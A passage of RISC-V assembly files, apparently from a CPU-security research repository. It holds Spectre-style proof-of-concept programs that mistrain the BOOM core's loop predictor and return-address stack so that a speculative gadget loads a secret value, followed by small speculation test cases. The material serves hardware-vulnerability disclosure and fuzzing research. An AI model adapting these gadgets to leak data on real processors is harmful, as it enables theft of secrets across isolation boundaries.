mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# mul t0, t0, t1
# This branch is _never_ executed architecturally and is not in control
# of the attacker.
.align 4
beqz t0, speculative # <---- MISPREDICTED after 8 times
# This instruction has to be mispredicted 7 consecutive times, so that the loop
# predictor infers a loop.
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative load.
speculative:
ld t4, 0(a0) # <---- Secret load
ret
# padding:
.rep 128
unimp
.endr
# ----------- Data.
.section .data , "adw"
legit_data:
.dword 0xffffffffffffffff
spec_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,608 | pocs/phantomtrails/src/spectre-lp/boom-disclosure/poc-with-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
lla s0, legit_data
li a0, 0 # cur_idx
li a1, 0 # recursion depth for func1
li a2, 0 # recursion depth for func2
call func1
fence
.align 4
main:
# Start recursive call chain to saturate RAS.
lla s0, secret_data
li a0, 0 # cur_idx
li a1, N_MISPRED # recursion depth for func1
li a2, N_SATURATION+N_MISPRED # recursion depth for func2
call func1
# End test case.
unimp
# Padding.
.rep 32
unimp
.endr
.align 4
func1:
# Perform N_MISPRED recursive calls to itself, whose returns will be mispredicted.
addi a0, a0, 1
bge a0, a1, call_func2
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func1
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
j after
.align 4
# Perform N_SATURATION recursive calls to anothe function to saturate the RAS
# and poison it with another value.
call_func2:
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Start other recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
after:
# Slow down branch.
li t1, 1
li t0, 2
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# Mispredicted branch.
beqz t0, speculative_gadget
ret
# Padding.
.rep 32
unimp
.endr
.align 4
func2:
# Perform N_SATURATION recursive calls to saturate the RAS.
addi a0, a0, 1
bge a0, a2, ret_to_func1
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
fence
ret
.align 4
ret_to_func1:
fence
ret
# Padding.
.rep 32
unimp
.endr
# ----------- Speculative load.
speculative_gadget:
ld t0, 0(s0)
ret
# Padding.
.rep 128
unimp
.endr
# ------------- Data.
# .data
secret_data:
.dword 0xcacacafedeadbeef
# padding:
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,635 | pocs/phantomtrails/src/spectre-lp/boom-disclosure/poc-with-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 4
#define LOOP_CONFIDENCE_THRESHOLD 7
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
addi t0, t0, 1
ble t0, t1, init_loop
# Training phase: call the victim once.
# This will:
# 1. set the BIM entry of the controlled branch to a known state (weakly not taken)
# 2. as a side effect, this also executes the uncontrolled branch once,
# making sure we are not in a cold predictor scenario.
# li a0, SET_TO_WEAKLY_NOT_TAKEN
# call victim
# fence
attacker:
lla s0, secret_data
li a0, MISPREDICT
# Force the victim to mispredict, so that the LoopPredictor gets trigged.
# In this PoC for some reason (maybe race condition with the BIM update?)
# the LoopPredictor's confidence is reset after the first 4 mispredictions,
# so we need 4 pre-training calls.
.rep N_DUMMY_RUNS
call victim
.endr
# Now we increase the LoopPredictor's confidence until it takes over.
.rep LOOP_CONFIDENCE_THRESHOLD
call victim
.endr
# Once the LoopPredictor is in charge, it will flip the prediction for
# our victim branch.
call victim
# End simulation.
unimp
# padding:
.rep 32
nop
.endr
.align 4
victim:
# Attacker controls the number of iterations.
mv t2, a0
li t3, 0 # induction variable
loop:
# Make sure there's only one version of the loop in the RoB.
fence
# These values are _not_ attacker-controlled.
li t0, 2
li t1, 1
# i++
addi t3, t3, 1
# Slow down branch (just multiply t0 by 1).
.rep 8
mul t0, t0, t1
.endr
# This branch is _never_ taken architecturally (t0 constant > 0).
# Note that the attacker has no control over t0 (the branch condition).
.align 4
uncontrolled_branch:
beqz t0, speculative_gadget
# This instruction has to be mispredicted 7 consecutive times, so that the
# loop predictor can kick in.
controlled_branch:
blt t3, t2, loop
# padding:
.rep 32
nop
.endr
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative gadget.
.align 4
speculative_gadget:
ld t4, 0(s0) # < ----- this gets executed speculatively, leaking the secret
addi t4, t4, 10 # Just use the secret
ret
helper:
ret
# padding:
.rep 128
unimp
.endr
# ------------- Data.
# .data
secret_data:
.dword 0xcacacafedeadbeef
# padding:
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 93 | pocs/phantomtrails/src/misc/single-instr/single_load.S | .text
li t0, 0x80001000
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 101 | pocs/phantomtrails/src/misc/single-instr/fence.S | .text
auipc a0, 0
ld t0, 0(a0)
nop
nop
fence
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 140 | pocs/phantomtrails/src/misc/single-instr/double_load.S | .text
li s0, 0x80001000
ld t0, 0(s0)
addi s0, s0, 0x100
add t0, t0, s0
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 126 | pocs/phantomtrails/src/misc/single-instr/single_load_with_nops.S | .text
li t0, 0x80001000
ld t0, 0(t0)
#flush the pipeline
.rep 16
nop
.endr
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 87 | pocs/phantomtrails/src/misc/single-instr/auipc.S | .text
auipc a0, 0
ld t0, 0(a0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 120 | pocs/phantomtrails/src/misc/single-instr/add.S | .text
auipc a0, 0
ld t0, 0(a0)
addi a0, a0, 5
add a1, a2, a3
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 61 | pocs/phantomtrails/src/misc/single-instr/single-store.S | li t0, 0x00000080005000
li t1, 0xdeadbeef
sd t1, 0(t0)
unimp
|
comsec-group/milesan-meta | 430 | pocs/phantomtrails/src/misc/feedback-tests/01-single-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 636 | pocs/phantomtrails/src/misc/feedback-tests/11-arch-load-plus-spec-load-new.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001100
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 581 | pocs/phantomtrails/src/misc/feedback-tests/07-single-branch-with-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
li s0, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 632 | pocs/phantomtrails/src/misc/feedback-tests/09-spec-load.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 0
blt t1, s7, lol
ld t2, 0(s1)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 431 | pocs/phantomtrails/src/misc/feedback-tests/02-double-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
li t0, 0x80002000
ld t0, 0(t0)
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
xori s0, s0, 4
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 522 | pocs/phantomtrails/src/misc/feedback-tests/05-single-branch-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
beq t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 522 | pocs/phantomtrails/src/misc/feedback-tests/06-single-branch-not-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
bgt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 755 | pocs/phantomtrails/src/misc/feedback-tests/08-single-branch-with-big-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s1, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 636 | pocs/phantomtrails/src/misc/feedback-tests/10-arch-load-plus-spec-load-arch.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 429 | pocs/phantomtrails/src/misc/feedback-tests/00-no-feedback.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
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